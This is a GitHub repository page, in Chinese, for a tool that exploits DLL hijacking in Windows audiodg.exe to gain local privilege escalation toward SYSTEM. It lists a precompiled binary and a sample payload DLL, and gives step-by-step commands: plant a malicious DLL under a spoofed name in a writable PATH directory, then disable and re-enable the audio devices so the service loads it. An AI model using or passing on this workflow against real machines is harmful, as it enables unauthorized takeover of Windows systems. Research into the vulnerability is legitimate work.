S1lkys/AudioDG.exe-DLL-Hijacking-for-LPE
GitHub: S1lkys/AudioDG.exe-DLL-Hijacking-for-LPE
利用 audiodg.exe 的 DLL 劫持漏洞实现 Windows 本地权限提升至 SYSTEM 的安全研究工具。
Stars: 118 | Forks: 16
# AudioDG.exe DLL 劫持实现 LPE
利用 `audiodg.exe` 中的 DLL 劫持漏洞,以 `NT AUTHORITY\LOCAL SERVICE` 的身份执行代码,并可通过提权路径至 `NT AUTHORITY\SYSTEM`。
包含使用未公开的 `IPolicyConfig` COM 接口实现无需重启的重启原语。
## 博客文章
有关详细的技术说明以及如何提权至 NT AUTHORITY\SYSTEM,请参阅:
[滥用 Windows Audio 进行本地权限提升](https://medium.com/@S.1.l.k.y/abusing-windows-audio-for-local-privilege-escalation-1d59440116cb)
## 目录
| 文件 | 描述 |
|------|-------------|
| `audio_disable_debug.cpp` | Audio Device Controller 源代码 |
| `audio_disable_debug_x64.exe` | 预编译的 x64 二进制文件 |
| `Hijack.cpp` | 用于权限提升的示例 DLL payload |
| `windows_audio_device_control.pdf` | 附加技术文档 |
## Audio 设备控制器
### 用法
```
audio_disable_debug_x64.exe [command]
```
### 命令
| 命令 | 描述 |
|---------|-------------|
| `list` | 列出所有音频渲染设备 |
| `disable` | 禁用活动设备并保存状态 |
| `enable` | 根据已保存的状态启用先前被禁用的设备 |
| `status` | 显示当前状态和已保存的状态信息 |
| `-h` | 显示帮助 |
### 示例工作流
```
# 1. 将恶意 DLL 放置在可写的 System PATH 中
copy payload.dll C:\WritablePath\RtkNNSpeedUp.dll
# 2. 禁用所有音频端点(触发 audiodg.exe 在约 2-5 分钟后终止)
audio_disable_debug_x64.exe disable
# 3. 重新启用音频端点(audiodg.exe 重启并加载 DLL)
audio_disable_debug_x64.exe enable
```
## 测试环境
- Windows 11 Home
- Windows 11 Professional
## 免责声明
仅用于授权的安全测试。
标签:端点可见性